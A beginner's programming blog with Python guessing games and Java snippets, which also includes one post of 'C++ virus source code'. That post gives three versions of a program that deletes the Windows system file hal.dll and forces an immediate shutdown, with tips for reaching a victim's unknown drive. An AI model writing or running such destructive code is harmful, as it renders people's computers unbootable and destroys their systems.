Saturday, January 29, 2011

Dragon Realm's Game

import random;
import time;

def displayIntro():
 print("You are in a land full of Dragons. In front of you!");
 print("You see two caves. In one cave the dragon is friendly...");
 print("and will share his treasure with you!");
 print("Other one is greedy and Kill you!");
 print();
 
def chooseCave():
 cave = "";
 while cave != "1" and cave != "2":
  print("Which cave will you go into?(1 or 2)");
  cave = input();
 return cave;
 

def checkCave(chosenCave):
 print("You approach the cave...");
 time.sleep(2);
 print("It is dark and spooky...");
 time.sleep(2);
 print("A large dragon jumps out in front of you and open the jaw...");
 print();
 time.sleep(2);
 
 friendlyCave = random.randint(1,2);
 
 if chosenCave == str(friendlyCave):
  print("Give you his treasure...");
 else:
  print("Gobbles you down in one bite...!");

playAgain = "yes";

while playAgain == "yes" or playAgain == "y":
 displayIntro();
 caveNumber = chooseCave();
 checkCave(caveNumber);
 print("Do you want to play again? y/n");
 playAgain = input();
http://inventwithpython.com/chapter6.html

Guess The Number Simple Game in Python

I am learning python at this moment and created simple game. I saw some tutorial before and just coded this.

#!/usr/bin/env python3.1
#This is a guess the number game.
import random;

guessesToken = 0;

print("Hello! What is your name?");
myName = input();

number = random.randint(1, 20);

print("Well, Myfriend "+myName+" let's play a game");
print("Guess a number between 1 and 20");

while guessesToken < 6:
 guess = input();
 guess = int(guess);
 
 guessesToken = guessesToken + 1;
 
 if guess < number:
  print("Your guess is too low!");
 if guess > number:
  print("Your guess is too high!");
 if guess == number:
  break;
if guess == number:
 guessesToken = str(guessesToken);
 print("You guessed it within "+guessesToken+" times congratulations!");

if guess != number:
 print("You failed man!");

Wednesday, December 15, 2010

C++ virus source code

Don't try on your computer. And this is for only educational purposes.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

More advanced source code.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.

NOT MY WORK. I FOUND IT FROM INTERNET.

Thursday, December 2, 2010

Read Text File Containing Email Addresses..

I wrote this small program to count email addresses in a text file. And to print email addresses one by one.

I use StringTokenizer class  to sort emails. You can use any character to sort out Strings.

For example, my file contains isuru@xcs.com; madusanka@qwe.com; roxniro@qwa.com... so I user ";" character to sort emails. You can use "@" character to collect user names of email addresses.

File Reader Class

import java.io.*;
import java.util.StringTokenizer;

public class FileReader {

    File file = new File("/root/Documents/emails.txt");
    StringBuffer contents = new StringBuffer();
    BufferedReader reader = null;
    String text = null;
    StringTokenizer st1;


    public void accessFile() {
        try{
             reader = new BufferedReader(new java.io.FileReader(file));
             while((text = reader.readLine()) != null){
                 st1 = new StringTokenizer(text, ";");
                 System.out.println("There are "+ st1.countTokens()+" email addresses!");
                 while(st1.hasMoreTokens()){
                     System.out.println(st1.nextToken());
                     
                 }
             }

        }catch(FileNotFoundException e){
            e.printStackTrace();
        }catch(IOException e){
            e.printStackTrace();
        }

    }

}

Main Class

/**
 *
 * @author Isuru
*/
public class EmailCounter {

    public static void main(String args[]){
        FileReader app = new FileReader();
        app.accessFile();

    }

}

Thursday, November 11, 2010

Getting started JDBC in Ubuntu with MySQL

Installation of MySQL

Install mysql client, server and the jdbc connector, either via synaptic or by using the following.

sudo apt-get install mysql-server
sudo apt-get install mysql-client
sudo apt-get install libmysql-java

Set up MySQL default password 

Set up the password for the root user as 'root' or whatever you want. The last entry is the password.

mysqladmin -u <root> password <root>

Use MySQL client with Terminal


Go to Applications --> Accessories --> Terminal

Now type: sudo mysql --user=<user> --password=<password>

Create a database 


create database <leann>; //Here "leann" is the database name. Don't forget semi-colon.

User Creation and privileges


Create a user with access to that table. Replace the items in square brackets by the database name, and the chosen user and password. Don't type in the square brackets !

grant all privileges on <database>. * to <user>@localhost identified by <password>;
flush privileges;

Setting up the user to use JDBC in ubuntu

CLASSPATH=$CLASSPATH:/usr/share/java/mysql.jar
export CLASSPATH

Alternatively, you can set it for all users, by editing /etc/environment.

CLASSPATH=".:/usr/share/java/mysql.jar"

Testing in Java

import java.sql.*;
import java.util.Properties;
/**
 * https://help.ubuntu.com
 **/
public class DBDemo
{
  // The JDBC Connector Class.
  private static final String dbClassName = "com.mysql.jdbc.Driver";

  // Connection string. emotherearth is the database the program
  // is connecting to. You can include user and password after this
  // by adding (say) ?user=paulr&password=paulr. Not recommended!

  private static final String CONNECTION =
                          "jdbc:mysql://127.0.0.1/emotherearth";

  public static void main(String[] args) throws
                             ClassNotFoundException,SQLException
  {
    System.out.println(dbClassName);
    // Class.forName(xxx) loads the jdbc classes and
    // creates a drivermanager class factory
    Class.forName(dbClassName);

    // Properties for user and password. Here the user and password are both 'paulr'
    Properties p = new Properties();
    p.put("user","paulr");
    p.put("password","paulr");

    // Now try to connect
    Connection c = DriverManager.getConnection(CONNECTION,p);

    System.out.println("It works !");
    c.close();
    }
}

Thursday, November 4, 2010

Copy Image From Clipboard

package isuru;

/**
 *
 * @author Isuru
 */
import java.awt.Toolkit;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imageio.ImageIO;

public class Main {

    public static void main(String[] args) {
        //Create clipboard object
        Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
        try{
            //Get data from clipboard and assign it to an image
            //clipboard.getData() returns an object, so we need to cast it to a BufferedImage
            BufferedImage image = (BufferedImage)clipboard.getData(DataFlavor.imageFlavor);

            //file that we'll save to disk
            File file = new File("image.jpg");

            /**
             * class to write image to disk. You specify the image
             * to be saved, its type, and then the file in which to write the image data.
             */

            ImageIO.write(image, "jpg", file);

        }catch(UnsupportedFlavorException ufe){
            ufe.printStackTrace();
        }
        catch(IOException ioe){
            ioe.printStackTrace();
        }
    }  

}
 
Found from a online forum and tested in my system.  

Monday, August 23, 2010

Java Robot Class in Java

This is a quick snap of using Robot class of Java. You can find full article on keyboard and mouse events here.
package test;

import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;

public class Main{
    public static void main(String args[]) throws AWTException
    {
        Robot robot = new Robot();

       int keyEvent[] = {
            KeyEvent.VK_H,
            KeyEvent.VK_E,
            KeyEvent.VK_L,
            KeyEvent.VK_L,
            KeyEvent.VK_O,
            
        };
       for(int i = 0; i < keyEvent.length; i++)
       {
          robot.keyPress(keyEvent[i]);
          robot.delay(1000);
       }

    }
}